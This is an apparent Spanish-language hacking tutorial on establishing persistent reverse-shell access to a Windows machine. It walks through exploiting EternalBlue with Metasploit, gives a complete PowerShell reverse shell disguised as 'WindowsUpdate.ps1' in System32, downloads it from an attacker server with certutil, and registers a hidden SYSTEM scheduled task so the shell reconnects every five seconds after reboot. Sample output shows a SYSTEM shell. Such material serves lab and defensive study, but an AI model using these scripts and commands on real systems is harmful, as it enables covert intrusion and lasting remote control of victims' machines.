Shell Persistente mediante PowerShell Windows

Intrusion a la maquina (Ejemplo)

Primero tendremos que comprometer una maquina windows, por ejemplo pongamos que es vulnerable al Eternal Blue, abriremos metasploit.

msfconsole -q

Una vez dentro ejecutamos los siguientes comandos para la intrusion:

use windows/smb/ms17_010_eternalblue
set RHOST <IP_VICTIM>
exploit

Una vez que estemos dentro, programaremos los scripts en nuestra maquina atacante...

Scripts para persistencia mediante PowerShell

Codigo WindowsUpdate.ps1 para hacernos la reverse shell desde windows:

while ($true) {
    try {
        # Intenta conectarse al puerto especificado
        $client = New-Object System.Net.Sockets.TcpClient("<IP>", <PORT>)
        $stream = $client.GetStream()
        $writer = New-Object System.IO.StreamWriter($stream)
        $writer.AutoFlush = $true
        $reader = New-Object System.IO.StreamReader($stream)

        # Escribe una línea indicando la conexión
        $writer.WriteLine("Conexión establecida desde $($env:COMPUTERNAME)")

        # Bucle de comandos
        while ($true) {
            # Espera un comando del cliente
            $writer.Write("shell> ")  # Indica que está listo para recibir un comando
            $cmd = $reader.ReadLine()
            
            if ($cmd -eq 'exit') {
                $writer.WriteLine("Cerrando conexión...")
                break
            }

            try {
                # Ejecuta el comando y captura la salida
                $output = Invoke-Expression $cmd 2>&1

                # Convierte la salida a cadena y envía de vuelta al cliente
                if ($output -is [System.Array]) {
                    $output = $output -join "`n"  # Unir elementos del array en líneas
                }
                
                # Envía la salida de vuelta al cliente
                if ($output) {
                    $writer.WriteLine($output)
                } else {
                    $writer.WriteLine("Comando ejecutado correctamente.")
                }
            }
            catch {
                # Manejo de errores
                $writer.WriteLine("Error: $_")
            }
        }

        # Cierra la conexión
        $client.Close()
    }
    catch {
        # Espera 5 segundos antes de volver a intentar si falla
        Start-Sleep -Seconds 5
    }
}

Cambiar <IP> y <PORT> por las necesidades de cada uno.

Despues crear Update.ps1 que sera el que ejecute en bucle el archivo WindowsUpdate.ps1:

while ($true) {
    powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\WindowsUpdate.ps1
    Start-Sleep -Seconds 5
}

Pasar scripts a la maquina victima mediante metasploit

Tendremos que pasar esos archivos a la maquina victima, en mi caso lo llevare a C:\Windows\System32 para que se quede bien camuflado.

cd C:\Windows\System32\

Si estamos en metasploit con la maquina comprometida podremos subirlos de la siguiente forma:

upload WindowsUpdate.ps1
upload Update.ps1

Despues ejecutaremos shell, para obtener la shell de windows.

Pasar scripts a la maquina victima mediante terminal

Imaginemos que no estamos utilizando metasploit lo podremos hacer de esta otra forma...

Primero nos abriremos un servidor de python3.

python3 -m http.server

En la maquina victima que habremos comprometido de windows con una shell normal, pondremos los sigueintes comandos:

cd C:\Windows\System32\
certutil.exe -f -urlcache -split http://<IP>:8000/WindowsUpdate.ps1 WindowsUpdate.ps1
certutil.exe -f -urlcache -split http://<IP>:8000/Update.ps1 Update.ps1

Asi nos pasaremos los 2 archivos a la maquina victima.

Programar persistencia en la maquina victima

Despues en la maquina windows que tenemos comprometida, ejecutaremos el siguiente comando:

schtasks /create /tn "Actualización de Sistema" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\WindowsUpdate.ps1" /sc onstart /ru "SYSTEM" /rl highest /f

Info:

schtasks /create /tn "Actualización de Sistema" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\Update.ps1" /sc onstart /ru "SYSTEM" /rl highest /f
Correcto: se cre correctamente la tarea programada "Actualización de Sistema".

Con esto ya habriamos creado la tarea programada en windows, lo comprobaremos de la siguiente forma:

schtasks /query /tn "Actualización de Sistema"

Info:

Carpeta: \
Nombre de tarea                          Hora prxima ejecucin Estado         
======================================== ====================== ===============
Actualización de Sistema                 No disponible          Listo          

Despues probaremos a estar a la escucha en nuestra maquina atacante:

nc -lvnp <PORT>

Y en la maquina victima ejecutaremos el siguiente codigo para saber que todo se carga correctamente:

powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\WindowsUpdate.ps1

Una vez comprobado, ya podremos reiniciar el equipo, hacer lo que queramos, hacerle Ctrl+C a la shell y volver a estar a la escucha para otra vez recuperarla, ya tendremos persistencia.

Escucha mediante terminal

Ahora podremos obtener la shell todas las veces que queramos por que se estara ejecutando cada 5 segundos, por lo que solo tendremos que poner el siguiente comando:

nc -lvnp <PORT>

Y todas las veces que pongamos eso nos hara una shell cada 5 segundos, aunque reinicie el sistema y vuelva a ejecutarse windows podremos seguir obteniendola.

Info:

listening on [any] 7777 ...
connect to [192.168.5.147] from (UNKNOWN) [192.168.5.141] 49193
Conexión establecida desde VULN-SMBV2
shell> whoami
nt authority\system

Escucha mediante metasploit

Tambien lo podemos hacer mediante metasploit.

msfconsole -q

Una vez dentro ejecutaremos los siguiente comandos:

use multi/handler
set LHOST <IP>
set LPORT <PORT>
run

Y con esto obtendremos una shell mediante metasploit.

Eliminar la tarea persistente y los scripts

Pondremos los siguientes comandos dentro de la maquina windows:

del WindowsUpdate.ps1
del Update.ps1
schtasks /delete /tn "Actualización de Sistema" /f

Y con esto ya habriamos dejado limpio el sistema.

Last updated